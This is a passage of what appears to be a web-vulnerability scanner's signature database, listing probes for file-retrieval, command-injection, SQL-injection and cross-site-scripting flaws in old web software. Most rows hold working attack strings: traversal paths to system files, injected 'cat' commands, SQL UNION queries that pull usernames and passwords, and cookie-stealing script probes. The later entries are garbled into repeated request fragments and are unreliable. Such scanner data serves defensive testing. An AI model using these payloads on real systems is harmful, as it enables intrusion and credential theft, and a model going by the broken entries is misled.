"000547","","5","/albums/userpics/Copperminer.jpg.php?cat%20@LFI(nix,abs)","GET","@LFI()","Coppermine 1.0 RC3 may have been compromised to allow arbitrary file retrieval. The product is no longer maintained and should be replaced.","","" "000548","CVE-2003-0294","5","/autohtml.php?op=modload&mainfile=x&name=@LFI(nix,abs)","GET","@LFI()","php-proxima 6.0 and below allows arbitrary files to be retrieved.","","" "000549","https://www.tenable.com/plugins/nessus/11795","5","/atomicboard/index.php?location=@LFI(nix)","GET","@LFI()","AtomicBoard v0.6.2 allows remote users to read arbitrary files.","","" "000550","CVE‑2010‑4867","5","/current/modules.php?mod=fm&file=@LFI(nix)%00&bn=fm_d1","GET","@LFI()","w-agora 4.1.5 allows any file to be retrieved from the remote host.","","" "000551","https://vulners.com/osvdb/OSVDB:3012","5","/current/index.php?site=demos&bn=@LFI(nix)%00","GET","@LFI()","w-agora 4.1.5 allows any file to be retrieved from the remote host.","","" "000552","https://seclists.org/bugtraq/2003/Feb/382","5","@TYPO3typo3/dev/translations.php?ONLY=%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e@LFI(nix,abs)%00","GET","@LFI()","TYPO3 allows any file to be retrieved remotely. Upgrade to the latest version.","","" "000553","","5","/DomainFiles/*//@LFI(nix)","GET","@LFI()","Communigate Pro 4.0b to 4.0.2 allow any file to be retrieved from the remote system.","","" "000554","CVE-2002-0879","5","/docs/showtemp.cfm?TYPE=JPEG&FILE=c:\@LFI(abs)","GET","@LFI()","Gafware's CFXImage allows remote users to view any file on the system.","","" "000558","https://vulners.com/osvdb/OSVDB:2870","5","/index.php?download=@LFI(abs)","GET","@LFI()","Snif 1.2.4 allows any file to be retrieved from the web server.","","" "000559","CVE‑2002‑2084","5","/index.php?|=@LFI()","GET","@LFI()","Portix-PHP Portal allows retrieval of arbitrary files via the '..' type filtering problem.","","" "000560","","5","/index.php?page=@LFI()","GET","@LFI()","The PHP-Nuke Rocket add-in is vulnerable to file traversal, allowing an attacker to view any file on the host. (probably Rocket, but could be any index.php)","","" "000562","CVE‑2002‑2084","5","/index.php?l=forum/view.php&topic=@LFI()","GET","@LFI()","Portix-PHP Portal allows retrieval of arbitrary files via the '..' type filtering problem.","","" "000563","","5","/jsp/jspsamp/jspexamples/viewsource.jsp?source=@LFI()","GET","@LFI()","Default JRun CGI lets users read any system file.","","" "000565","","5","/k/home?dir=/&file=@LFI(nix)&lang=kor","GET","@LFI()","Kebi Academy 2001 Web Solution allows any file to be retrieved from the remote system.","","" "000566","","5","/nph-showlogs.pl?files=@LFI(nix)&filter=.*&submit=Go&linecnt=500&refresh=0","GET","@LFI()","nCUBE Server Manage 1.0 allows any file to be read on the remote system.","","" "000567","","5","/nph-showlogs.pl?files=../../../../../../../../etc/&filter=.*&submit=Go&linecnt=500&refresh=0","GET","@LFI()","nCUBE Server Manage 1.0 allows directory listings of any location on the remote system.","","" "000568","","5","/phprocketaddin/?page=../../../../../../../../../../Windows/win.ini","GET","@LFI()","The PHP-Nuke Rocket add-in is vulnerable to file traversal, allowing an attacker to view any file on the host.","","" "000569","","5","/phpwebfilemgr/index.php?f=@LFI()","GET","@LFI()","phpWebFileManager v2.0.0 and prior are vulnerable to a directory traversal bug.","","" "000570","","5","/phpwebfilemgr/index.php?f=../../../../../../../../../etc","GET","BODY:passwd&&BODY:hosts","phpWebFileManager v2.0.0 and prior are vulnerable to a directory traversal bug.","","" "000571","","5","/phptonuke.php?filnavn=@LFI(abs)","GET","@LFI()","Photonouke or myphpnuke allows arbitrary files to be retrieved from the remote host.","","" "000572","","5","/put/cgi-bin/putport.exe?SWAP&BOM&OP=none&Lang=en-US&PutHtml=@LFI()","GET","@LFI()","NCR's Terradata server contains a CGI that allows any file to be retrieved remotely.","","" "000573","CVE-2001-0215","5","/ROADS/cgi-bin/search.pl?form=@LFI()%00","GET","@LFI()","The ROADS search.pl allows attackers to retrieve system files.","","" "000574","","5","/support/common.php?f=0&ForumLang=@LFI()","GET","@LFI()","This CGI allows attackers to read files on the host.","","" "000575","","5","/viewpage.php?file=@LFI(abs)","GET","@LFI()","PHP-Nuke script viewpage.php allows any file to be retrieved from the remote system.","","" "000576","CVE-2000-1005","5","/Web_Store/web_store.cgi?page=@LFI()%00.html","GET","@LFI()","eXtropia's Web Store lets attackers read any file on the system by appending a %00.html to the name.","","" "000577","CVE-2002-0926 http://www.wolfram.com","5","/webMathematica/MSP?MSPStoreID=..\..\..\..\..\..\..\..\..\..@LFI(win,abs)&MSPStoreType=image/gif","GET","@LFI()","Wolfram Research's webMathematica allows any file to be read on the remote system. Upgrade to the latest version.","","" "000578","CVE-2002-0926 http://www.wolfram.com","5","/webMathematica/MSP?MSPStoreID=../../../../../../../../../..@LFI(nix,abs)&MSPStoreType=image/gif","GET","@LFI()","Wolfram Research's webMathematica allows any file to be read on the remote system. Upgrade to the latest version.","","" "000579","CVE-2002-0277","5","@CGIDIRSadmin.cgi?list=@LFI()","GET","@LFI()","Add2it Mailman Free V1.73 allows arbitrary files to be retrieved.","","" "000580","","5","@CGIDIRS14all.cgi?cfg=@LFI()","GET","@LFI()","Multi Router Traffic Grapher (mrtg.org) is vulnerable to a 'show files' vulnerability. Software should be upgraded to the latest version.","","" "000581","","5","@CGIDIRS14all-1.1.cgi?cfg=@LFI()","GET","@LFI()","Multi Router Traffic Grapher (mrtg.org) is vulnerable to a 'show files' vulnerability. Software should be upgraded to the latest version.","","" "000582","CVE-2001-0593","5","@CGIDIRSanacondaclip.pl?template=@LFI()","GET","@LFI()","This allows attackers to read arbitrary files from the server.","","" "000583","","5","@CGIDIRSauktion.cgi?menue=@LFI()","GET","@LFI()","The CGI allows attackers to read arbitrary files remotely.","","" "000584","","5","@CGIDIRSbigconf.cgi?command=view_textfile&file=@LFI(abs)&filters=","GET","@LFI()","This CGI allows attackers to read arbitrary files on the host.","","" "000585","","5","@CGIDIRSbb-hostsvc.sh?HOSTSVC=@LFI()","GET","@LFI()","Versions of BigBrother 1.4h or older allow attackers to read arbitrary files on the system.","","" "000586","","5","@CGIDIRSbb-hist?HISTFILE=@LFI()","GET","@LFI()","Versions 1.09b or1.09c of BigBrother allow attackers to read arbitrary files.","","" "000587","","5","@CGIDIRSbb-hist.sh?HISTFILE=@LFI()","GET","@LFI()","Versions 1.09b or1.09c of BigBrother allow attackers to read arbitrary files.","","" "000588","","5","@CGIDIRScommon.php?f=0&ForumLang=@LFI()","GET","@LFI()","This CGI allows attackers to read files on the host.","","" "000589","","5","@CGIDIRScommerce.cgi?page=@LFI()%00index.html","GET","@LFI()","This CGI allows attackers to read arbitrary files on the server.","","" "000590","","5","@CGIDIRScgiforum.pl?thesection=@LFI()%00","GET","@LFI()","This CGI allows attackers to read arbitrary files on the server.","","" "000591","","5","@CGIDIRScal_make.pl?p0=@LFI()%00","GET","@LFI()","This CGI allows attackers to read arbitrary files on the host.","","" "000592","","5","@CGIDIRSdb4web_c/dbdirname/@LFI(nix,abs)","GET","@LFI()","The hosts file was retrieved by using the db4web executable.","","" "000593","CVE-2001-0780","5","@CGIDIRSdirectorypro.cgi?want=showcat&show=@LFI()%00","GET","@LFI()","This CGI allows attackers to read arbitrary files on the server.","","" "000594","CVE-2002-0531","5","@CGIDIRSemumail/emumail.cgi?type=/@LFI()%00","GET","@LFI()","EmuMail allows any file to be retrieved from the remote system.","","" "000595","CVE-2002-0531","5","@CGIDIRSemumail.cgi?type=/@LFI()%00","GET","@LFI()","EmuMail allows any file to be retrieved from the remote system.","","" "000596","CVE-2002-0531","5","@CGIDIRSemu/html/emumail.cgi?type=/@LFI()%00","GET","@LFI()","EmuMail allows any file to be retrieved from the remote system.","","" "000597","","5","@CGIDIRSfaxsurvey?cat%20@LFI(abs)","GET","@LFI()","This CGI allows attackers to execute commands and read files remotely.","","" "000598","CVE-2002-2033","5","@CGIDIRSfaqmanager.cgi?toc=@LFI(abs)%00","GET","@LFI()","FAQmanager allows arbitrary files to be read on the host. Upgrade to latest version.","","" "000599","CVE-2000-0188","5","@CGIDIRSezshopper/search.cgi?user_id=id&database=dbase1.exm&template=@LFI()&distinct=1","GET","@LFI()","EZShopper search CGI allows arbitrary files to be read","","" "000600","","5","@CGIDIRSformmail?recipient=root@localhost%0Acat%20@LFI(abs)&email=joeuser@localhost&subject=test","GET","@LFI()","This CGI allows attackers to retrieve arbitrary files from the server.","","" "000601","","5","@CGIDIRSformmail.pl?recipient=root@localhost%0Acat%20@LFI(abs)&email=joeuser@localhost&subject=test","GET","@LFI()","This CGI allows attackers to retrieve arbitrary files from the server.","","" "000603","CVE-2001-1115","5","@CGIDIRSgenerate.cgi?content=../../../../../../../../../../Windows/win.ini%00board=board_1","GET","@LFI()","This CGI from SIX webboard allows attackers read arbitrary files on the host.","","" "000604","CVE-2001-1115","5","@CGIDIRSgenerate.cgi?content=@LFI()%00board=board_1","GET","@LFI()","This CGI from SIX webboard allows attackers read arbitrary files on the host.","","" "000605","","5","@CGIDIRShtmlscript?@LFI()","GET","@LFI()","This CGI contains a well known vuln that allows attackers to read any system file.","","" "000606","","5","@CGIDIRShtgrep?file=index.html&hdr=@LFI()","GET","@LFI()","This CGI contains a well known vuln that allows attackers to read any system file.","","" "000607","","5","@CGIDIRShsx.cgi?show=@LFI()%00","GET","@LFI()","This CGI contains a well known vuln that allows attackers to read any system file.","","" "000608","","5","@CGIDIRSsewse?/home/httpd/html/sewse/jabber/comment2.jse+@LFI(abs)","GET","@LFI()","Default scripts can allow arbitrary access to the host.","","" "000609","CVE-2003-0756","5","@CGIDIRSsbcgi/sitebuilder.cgi","GET","CODE:200","SITEBUILDER v1.4 may allow retrieval of any file. With a valid username and password, request: /<CGIDIR>/sbcgi/sitebuilder.cgi?username=<user>&password=<password>&selectedpage=../../../../../../../../../../etc/hosts","","" "000610","","5","@CGIDIRSmrtg.cgi?cfg=@LFI()","GET","@LFI()","Multi Router Traffic Grapher (mrtg.org) is vulnerable to a 'show files' vulnerability. Software should be upgraded to the latest version.","","" "000611","","5","@CGIDIRSmrtg.cfg?cfg=@LFI()","GET","@LFI()","Multi Router Traffic Grapher (mrtg.org) is vulnerable to a 'show files' vulnerability. Software should be upgraded to the latest version.","","" "000612","","5","@CGIDIRSmain.cgi?board=FREE_BOARD&command=down_load&filename=@LFI()","GET","@LFI()","This CGI allows attackers to read arbitrary files remotely.","","" "000613","CVE-2002-1581","5","@CGIDIRSmail/nph-mr.cgi?do=loginhelp&configLanguage=@LFI()%00","GET","@LFI()","MailReader.com v2.3.31 web package allows remote users to retrieve any system file.","","" "000614","CVE-2002-0531","5","@CGIDIRSmail/emumail.cgi?type=/@LFI()%00","GET","@LFI()","EmuMail allows any file to be retrieved from the remote system.","","" "000615","","5","@CGIDIRSloadpage.cgi?user_id=1&file=..\\..\\..\\..\\..\\..\\..\\..\\Windows\\win.ini","GET","@LFI()","This CGI allows attackers to read arbitrary files on the host.","","" "000616","","5","@CGIDIRSloadpage.cgi?user_id=1&file=@LFI()","GET","@LFI()","This CGI allows attackers to read arbitrary files on the host.","","" "000617","CVE-2000-0208","5","@CGIDIRShtsearch?exclude=%60+@LFI(abs,nix)%60","GET","@LFI()","This CGI contains a well known vuln that allows attackers to read any system file.","","" "000618","","5","@CGIDIRSshop.cgi?page=@LFI()","GET","@LFI()","Remote file read retrieval.","","" "000619","","5","@CGIDIRSsendtemp.pl?templ=@LFI()","GET","@LFI()","This CGI contains a well known vuln that allows attackers to read any system file.","","" "000620","","5","@CGIDIRSsearch/search.cgi?keys=*&prc=any&catigory=../../../../../../../../../../../../etc","GET","BODY:resolv\.conf","It is possible to read files on the remote server, this CGI should be removed.","","" "000621","CVE-2001-0215","5","@CGIDIRSsearch.pl?form=@LFI()%00","GET","@LFI()","The ROADS search.pl allows attackers to retrieve system files.","","" "000622","","5","@CGIDIRSsearch.cgi?..\\..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini","GET","@LFI()","This CGI contains a well known vuln that allows attackers to read any system file.","","" "000623","","5","@CGIDIRSsearch.cgi?..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\win.ini","GET","@LFI()","This CGI contains a well known vuln that allows attackers to read any system file.","","" "000624","","5","@CGIDIRSquickstore.cgi?page=@LFI()%00html&cart_id=","GET","@LFI()","This CGI allows attackers to read arbitrary files on the remote system.","","" "000625","","5","@CGIDIRSpublisher/search.cgi?dir=jobs&template=;cat%20@LFI(abs)|&output_number=10","GET","@LFI()","AHG's search.cgi allows any command to be executed. www.ahg.com.","","" "000626","","5","@CGIDIRSphp.cgi?@LFI(abs)","GET","@LFI()","This allows attackers to read arbitrary files on the system and perhaps execute commands.","","" "000627","","5","@CGIDIRSpals-cgi?palsAction=restart&documentName=@LFI()","GET","@LFI()","This CGI allows remote users to read system files.","","" "000628","","5","@CGIDIRSopendir.php?@LFI(abs)","GET","@LFI()","This CGI allows attackers to read any file on the web server.","","" "000629","CVE-2002-0531","5","@CGIDIRSnph-emumail.cgi?type=/@LFI()%00","GET","@LFI()","EmuMail allows any file to be retrieved from the remote system.","","" "000630","CVE-2001-0231","5","@CGIDIRSnewsdesk.cgi?t=@LFI()","GET","@LFI()","This CGI allows attackers to view arbitrary files on the server.","","" "000631","CVE-2000-0782","5","@CGIDIRSnetauth.cgi?cmd=show&page=@LFI()","GET","@LFI()","This CGI allows attackers to view arbitrary files on the server.","","" "000632","CVE-2000-0912,http://www.packetstormsecurity.org/0009-exploits/multihtml.c","5","@CGIDIRSmultihtml.pl?multi=@LFI(abs,nix)%00html","GET","@LFI()","This CGI allows attackers to read arbitrary files on the host. May also allow a shell to be spawned.","","" "000633","CVE-1999-0039","5","@CGIDIRSwebdist.cgi?distloc=;cat%20@LFI(abs)","GET","@LFI()","This CGI allows attackers to read files remotely.","","" "000634","CVE-2001-0214","5","@CGIDIRSway-board/way-board.cgi?db=@LFI(abs)%00","GET","@LFI()","Allows attackers to read arbitrary files from the server.","","" "000635","CVE-2001-0214","5","@CGIDIRSway-board.cgi?db=@LFI(abs)%00","GET","@LFI()","Allows attackers to read arbitrary files from the server.","","" "000637","","5","@CGIDIRSviewsource?@LFI(abs)","GET","@LFI()","Allows attacker to retrieve arbitrary files. Remove from CGI directory.","","" "000638","","5","@CGIDIRSttawebtop.cgi/?action=start&pg=@LFI()","GET","@LFI()","Tarantell TTAWeb Top CGI lets remote users read arbitrary files.","","" "000639","","5","@CGIDIRStraffic.cgi?cfg=@LFI()","GET","@LFI()","Multi Router Traffic Grapher (mrtg.org) is vulnerable to a 'show files' vulnerability. Software should be upgraded to the latest version.","","" "000640","","5","@CGIDIRStechnote/main.cgi?board=FREE_BOARD&command=down_load&filename=/@LFI()","GET","@LFI()","This CGI allows attackers to read arbitrary files remotely.","","" "000641","CVE-2001-0420","5","@CGIDIRStalkback.cgi?article=@LFI()%00&action=view&matchview=1","GET","@LFI()","Talkback CGI displays arbitrary files","","" "000642","CVE-2001-0804","5","@CGIDIRSstory/story.pl?next=@LFI()%00","GET","@LFI()","story.pl versions older than 1.4 allow any file to be read remotely.","","" "000643","CVE-2001-0804","5","@CGIDIRSstory.pl?next=@LFI()%00","GET","@LFI()","story.pl versions older than 1.4 allow any file to be read remotely.","","" "000644","","5","@CGIDIRSstore/index.cgi?page=@LFI()","GET","@LFI()","CommerceSQL allows reading of arbitrary files. Default login/pass is username/password.","","" "000645","","5","@CGIDIRSstore.cgi?StartID=@LFI()%00.html","GET","@LFI()","This CGI allows attackers to read arbitrary files remotely.","","" "000646","","5","@CGIDIRSssi//%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e@LFI(abs,nix)","GET","@LFI()","The server install allows reading of any system file by sending encoded '../' directives.","","" "000647","CVE-2000-0180","5","@CGIDIRSsojourn.cgi?cat=@LFI()%00","GET","@LFI()","This CGI allows attackers to read arbitrary files.","","" "000648","","5","@CGIDIRSsimple/view_page?mv_arg=|cat%20@LFI(abs)|","GET","@LFI()","This CGI allows attackers to execute commands on the host as the HTTP daemon owner.","","" "000649","CVE-2000-0922","5","@CGIDIRSshopper.cgi?newpage=@LFI()","GET","@LFI()","Versions 1 and 2 of Byte's Interactive Web Shopper allow attackers to read files remotely. Uncomment the #$debug=1 variable.","","" "000650","CVE-2001-1458","5","/servlet/webacc?User.html=@LFI()%00","GET","@LFI()","The Novell Groupwise WebAcc Servlet allows attackers to view arbitrary files on the server.","","" "000651","","5","/webcalendar/forum.php?user_inc=@LFI()","GET","@LFI()","Webcalendar 0.9.41 and below allow remote users to read arbitrary files.","","" "000652","https://vulners.com/osvdb/OSVDB:15392","5","/logbook.pl?file=../../../../../../../bin/cat%20@LFI(abs)%00|","GET","@LFI()","Wordit Limited 2000 allows command execution.","","" "000653","","5","@CGIDIRSsawmill5?rfcf+%22@LFI(abs)%22+spbn+1,1,21,1,1,1,1","GET","@LFI()","Remote file retrieval.","","" "000654","","5","/page.cgi?@LFI()","GET","@LFI()","WWWeBBB Forum up to version 3.82beta allow arbitrary file retrieval.","","" "000655","","5","/edittag/edittag.cgi?file=%2F..%2F..%2F..%2F..%2F..%2F@LFI(abs)","GET","@LFI()","EditTag allows arbitrary file retrieval.","","" "000656","CVE-2001-1408","5","/base/webmail/readmsg.php?mailbox=@LFI()&id=1","GET","@LFI()","Remote file retrieval.","","" "000659","CVE-2001-1209","5","@CGIDIRSzml.cgi?file=@LFI()%00","GET","@LFI()","Ztreet Markup Language interpreter allows arbitrary files to be read remotely.","","" "000660","","5","@CGIDIRSYaBB.pl?board=news&action=display&num=@LFI()%00","GET","@LFI()","This CGI lets users read any file with http daemon's permissions. Upgrade to latest version","","" "000661","CVE-1999-1063","5","@CGIDIRSwhois_raw.cgi?fqdn=%0Acat%20@LFI(abs)","GET","@LFI()","Allows attacker to view any file (and possibly execute commands). Upgrade to latest version","","" "000662","","5","@CGIDIRSwhois/whois.cgi?lookup=;&ext=/bin/cat%20@LFI(abs)","GET","@LFI()","The whois.cgi allows any command to be executed on the system.","","" "000663","","5","@CGIDIRSwhois.cgi?lookup=;&ext=/bin/cat%20@LFI(abs)","GET","@LFI()","The whois.cgi allows any command to be executed on the system.","","" "000664","CVE-2001-0211","5","@CGIDIRSwebspirs.cgi?sp.nextform=@LFI()","GET","@LFI()","This CGI allows attackers to read arbitrary files.","","" "000665","","5","@CGIDIRSwebplus?script=@LFI()","GET","@LFI()","This CGI allows attackers to retrieve files remotely.","","" "000666","","5","@CGIDIRSwebmail/html/emumail.cgi?type=/@LFI()%00","GET","@LFI()","EmuMail allows any file to be retrieved from the remote system.","","" "000667","CVE-2004-1782","8","/athenareg.php?pass=%20;cat%20@LFI(abs)","GET","@LFI()","Athena web registration remote command execution.","","" "000668","CVE-2000-1196","7","/PSUser/PSCOErrPage.htm?errPagePath=@LFI()","GET","@LFI()","This default Netscape file allows an attacker to read arbitrary files on the host.","","" "000669","","5","/search?NS-query-pat=@LFI()","GET","@LFI()","The iPlanet server allows arbitrary files to be retrieved through the search functionality. Install 4.1 SP10+ or 6.0 SP3+","","" "000670","","5","/search?NS-query-pat=..\..\..\..\..\..\..\..\..\..\Windows\win.ini","GET","@LFI()","The iPlanet server allows arbitrary files to be retrieved through the search functionality. Install 4.1 SP10+ or 6.0 SP3+","","" "000671","","7","/..\..\..\..\..\..\temp\temp.class","GET","CODE:200","Cisco ACS 2.6.x and 3.0.1 (build 40) allows authenticated remote users to retrieve any file from the system. Upgrade to the latest version.","","" "000672","","7","@LFI(nix)","GET","@LFI()","It is possible to read arbitrary files on the server by starting the path with a ../ traversal.","","" "000673","","7","/.../.../.../.../.../.../.../.../...@LFI(win,abs)","GET","@LFI()","Software allows files to be retrieved outside of the web root by using 'triple dot' notation. May be MiniPortal?","","" "000674","","7","/..................@LFI(nix,abs)","GET","@LFI()","The web server allows the password file to be retrieved.","","" "000675","","3","/%3f.jsp","GET","BODY:(?i)(?:index of \/|directory listing (?:of|for))","JRun 3.0 and 3.1 on NT/2000 running IIS4 or IIS5 allow directory listing by requesting %3f.jsp at the end of a URL.","","" "000677","CVE-2000-0664","7","/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini","GET","@LFI()","Attackers can read any file on the system. Upgrade to Analogx 1.07 or higher.","","" "000678","","7","/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e@LFI(abs)","GET","@LFI()","Web server allows reading of files by sending encoded '../' requests. This server may be Boa (boa.org).","","" "000679","","3","/%00","GET","BODY:File Name","Appending /%00 to a request to the web server may reveal a directory listing.","","" "000680","","7","/ca//\\../\\../\\../\\../\\../\\../\\windows/\\win.ini","GET","@LFI()","It is possible to read files on the server by adding through directory traversal by adding multiple /\\.. in front of file name.","","" "000681","","7","/ca/..\\..\\..\\..\\..\\..\\/\\etc/\\hosts","GET","@LFI()","It is possible to read files on the server by adding through directory traversal by adding multiple /\\.. in front of file name.","","" "000682","","7","/ca/..\\..\\..\\..\\..\\..\\..\\..\\winnt/\\win.ini","GET","@LFI()","It is possible to read files on the server by adding through directory traversal by adding multiple /\\.. in front of file name.","","" "000683","CVE-2002-0308","9","/admentor/adminadmin.asp","GET","CODE:200","Version 2.11 of AdMentor is vulnerable to SQL injection during login, in the style of: ' or =","","" "000684","CVE-2006-6795","9","@NUKEMy_eGallery/public/displayCategory.php","GET","CODE:200","My_eGallery prior to 3.1.1.g are vulnerable to a remote execution bug via SQL command injection. displayCategory.php calls imageFunctions.php without checking URL/location arguments.","","" "000685","","9","@CGIDIRSclassifieds/index.cgi","GET","CODE:200","My Classifieds pre 2.12 is vulnerable to SQL injection attacks.","","" "000686","CVE-2003-0025","9","/imp/mailbox.php3?actionID=6&server=x&imapuser=x';somesql+--&pass=x","GET","BODY:parse error","IMP 2.x allows SQL injection, and reveals system information.","","" "000687","CVE-2002-0216","9","/userinfo.php?uid=1;","GET","BODY:Query\sError:","Xoops portal gives detailed error messages including SQL syntax and may allow an exploit.","","" "000688","","9","/site/'%20UNION%20ALL%20SELECT%20FileToClob('@LFI(nix,abs)','server')::html,0%20FROM%20sysusers%20WHERE%20username=USER%20\-\-\/\.html","GET","@LFI()","IBM Informix Web DataBlade allows remote execution of SQL","","" "000689","","9","/site/'%20UNION%20ALL%20SELECT%20FileToClob('@LFI(nix,abs)','server')::html,0%20FROM%20sysusers%20WHERE%20username%20=%20USER%20\-\-\/\.html","GET","@LFI()","Web DataBlade 4.12/Informix is vulnerable to SQL injection.","","" "000690","","9","/postnuke/index.php?module=My_eGallery&do=showpic&pid=-1/**/AND/**/1=2/**/UNION/**/ALL/**/SELECT/**/0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,concat(0x3C7230783E,pn_uname,0x3a,pn_pass,0x3C7230783E),0,0,0/**/FROM/**/md_users/**/WHERE/**/pn_uid=$id/*","GET","BODY:<r0x>\(\.\+\?\)<r0x>","My_eGallery prior to 3.1.1.g are vulnerable to a remote execution bug via SQL command injection.","","" "000691","","9","/postnuke/html/index.php?module=My_eGallery&do=showpic&pid=-1/**/AND/**/1=2/**/UNION/**/ALL/**/SELECT/**/0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,concat(0x3C7230783E,pn_uname,0x3a,pn_pass,0x3C7230783E),0,0,0/**/FROM/**/md_users/**/WHERE/**/pn_uid=$id/*","GET","BODY:<r0x>\(\.\+\?\)<r0x>","My_eGallery prior to 3.1.1.g are vulnerable to a remote execution bug via SQL command injection.","","" "000692","","8","@CGIDIRSalibaba.pl|dir%20..\\..\\..\\..\\..\\..\\..\\,","GET","BODY:boot\.ini","This CGI allows attackers to execute arbitrary commands on the server.","","" "000693","","9","/phpwebsite/index.php?module=calendar&calendar[view]=day&year=2003%00-1&month=","GET","BODY:DB Error: syntax error","phpWebSite 0.9.x and below are vulnerable to SQL injection.","","" "000694","CVE-2003-1216","9","/phpBB2/search.php?search_id=1\\","GET","BODY:SQL Error","phpBB 2.06 search.php is vulnerable to SQL injection attack. Error page also includes full path to search.php file.","","" "000695","","9","/index.php?module=My_eGallery&do=showpic&pid=-1/**/AND/**/1=2/**/UNION/**/ALL/**/SELECT/**/0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,concat(0x3C7230783E,pn_uname,0x3a,pn_pass,0x3C7230783E),0,0,0/**/FROM/**/md_users/**/WHERE/**/pn_uid=$id/*","GET","BODY:<r0x>\(\.\+\?\)<r0x>","My_eGallery prior to 3.1.1.g are vulnerable to a remote execution bug via SQL command injection.","","" "000696","CVE-2002-1499","9","/author.asp","GET","CODE:200","May be FactoSystem CMS, which could include SQL injection problems that could not be tested remotely.","","" "000697","CVE-2004-0584","4","/horde/test.php","GET","BODY:IMP: 3\.\(0\|1\|2\|2\.1\)","IMP version 3.0, 3.1, 3.2, or 3.2.1 are vulnerable to Cross Site Scripting (XSS).","","" "000698","CVE-2004-0584","4","/imp/horde/test.php","GET","BODY:IMP: 3\.\(0\|1\|2\|2\.1\)","IMP version 3.0, 3.1, 3.2, or 3.2.1 are vulnerable to Cross Site Scripting (XSS).","","" "000699","CVE-2004-0584","4","@CGIDIRShorde/test.php","GET","BODY:IMP: 3\.\(0\|1\|2\|2\.1\)","IMP version 3.0, 3.1, 3.2, or 3.2.1 are vulnerable to Cross Site Scripting (XSS).","","" "000700","https://seclists.org/fulldisclosure/2003/Jun/494","4","/examples/cookie","GET","BODY:Cookie servlet","JEUS default servlet examples are vulnerable to Cross Site Scripting (XSS) when requesting non-existing JSP pages.","","" "000701","https://seclists.org/fulldisclosure/2003/Jun/494","4","/examples/session","GET","BODY:Session servlet","JEUS default servlet examples are vulnerable to Cross Site Scripting (XSS) when requesting non-existing JSP pages.","","" "000702","CVE-2003-1204","4","/themes/mambosimple.php?detection=detected&sitename=","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:\[SQL SERVER\] Error Code","ColdFusion may reveal SQL information in malformed requests.","","" "000717","","4","/upload.php?type=\"","GET","BODY:","GET","BODY:;","GET","BODY:","GET","BODY:666.jsp","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:.shtm","GET","BODY:.stm","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:;","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:&file=1&keywords=vulnerable","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:;","GET","BODY:&Where=&Sort=Photo&Dir=","GET","BODY:","GET","BODY:.aspx?aspxerrorpath=null","GET","BODY:.aspx","GET","BODY:.asp","GET","BODY:&rollid=admin&x=3da59a9da8825&","GET","BODY:&email1=","GET","BODY:alert\(\"Vulnerable\"\)<\/script>","PHP Web Chat 2.0 is vulnerable to Cross Site Scripting (XSS).","","" "000773","CVE-2004-0584","4","/webamil/test.php","GET","BODY:IMP: 3\.\(0\|1\|2\|2\.1\)","IMP version 3.0, 3.1, 3.2, or 3.2.1 are vulnerabl to Cross Site Scripting (XSS).","","" "000774","","4","/users.php?mode=profile&uid=<script>alert(document.cookie)</script>","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:</script>","GET","BODY:</script>","GET","BODY:</script>","GET","BODY:","GET","BODY:&story=&storyext=&op=Preview","GET","BODY:","GET","BODY:&page=list_users&user=P","GET","BODY:","POST","BODY:","POST","BODY:","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:alert\('Vulnerable'\)<\/script>","ASP.Net 1.1 may allow Cross Site Scripting (XSS) in error pages (only some browsers will render this).","","" "000800","","4","/script>alert('Vulnerable').cfm","GET","BODY:&logic=AND","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:%3Ca%20s=%22&code=1","GET","BODY:","GET","BODY:&MMN_position=[X:X]","GET","BODY:","GET","BODY:","GET","BODY:&email1=","GET","BODY:alert\(\"Vulnerable\"\)<\/script>","PHP Web Chat 2.0 is vulnerable to Cross Site Scripting (XSS).","","" "000814","CVE-2002-1995","4","/phptonuke.php?filnavn=","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:&fid=2","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:&month=3&month_l=test","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:<","GET","BODY:","GET","BODY:&PhraseSearchText=&SearchContentClassID=-1&SearchSectionID=-1&SearchDate=-1&SearchButton=Search","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:;","GET","BODY:","GET","BODY:&comment=&pid=0&sid=0&mode=&order=&thold=op=Preview","GET","BODY:","GET","BODY:&email1=","GET","BODY:alert\(\"Vulnerable\"\)<\/script>","PHP Web Chat 2.0 is vulnerable to Cross Site Scripting (XSS).","","" 